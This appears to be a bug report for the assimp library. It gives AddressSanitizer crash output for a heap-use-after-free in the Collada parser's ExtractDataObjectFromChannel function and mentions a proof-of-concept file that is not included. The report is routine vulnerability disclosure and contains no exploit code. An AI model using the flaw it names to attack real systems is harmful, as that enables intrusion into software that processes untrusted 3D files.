SUMMARY: AddressSanitizer: heap-use-after-free (/root/asan\_assimp/bin/libassimp.so.5+0x961979) in Assimp::ColladaParser::ExtractDataObjectFromChannel(Assimp::Collada::InputChannel const&, unsigned long, Assimp::Collada::Mesh&)
Shadow bytes around the buggy address:
 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c047fff8000: fa fa 00 fa fa fa 00 fa fa fa fd fa fa fa 00 00
 0x0c047fff8010: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fd
 0x0c047fff8020: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fd
 0x0c047fff8030: fa fa fd fa fa fa fd fd fa fa 00 04 fa fa fd fa
\=>0x0c047fff8040: fa fa fd fd fa fa\[fd\]fa fa fa fd fd fa fa fd fa
 0x0c047fff8050: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fa fa
 0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c047fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c047fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable: 00
 Partially addressable: 01 02 03 04 05 06 07 
 Heap left redzone: fa
 Freed heap region: fd
 Stack left redzone: f1
 Stack mid redzone: f2
 Stack right redzone: f3
 Stack after return: f5
 Stack use after scope: f8
 Global redzone: f9
 Global init order: f6
 Poisoned by user: f7
 Container overflow: fc
 Array cookie: ac
 Intra object redzone: bb
 ASan internal: fe
 Left alloca redzone: ca
 Right alloca redzone: cb
 Shadow gap: cc
\==19874\==ABORTING

**Description**

 A heap-use-after-free was discovered in assimp. The issue is being triggered in function Assimp::ColladaParser::ExtractDataObjectFromChannel(Assimp::Collada::InputChannel const&, unsigned long, Assimp::Collada::Mesh&).
 

**Poc**

Poc file is this.

Tag

#linux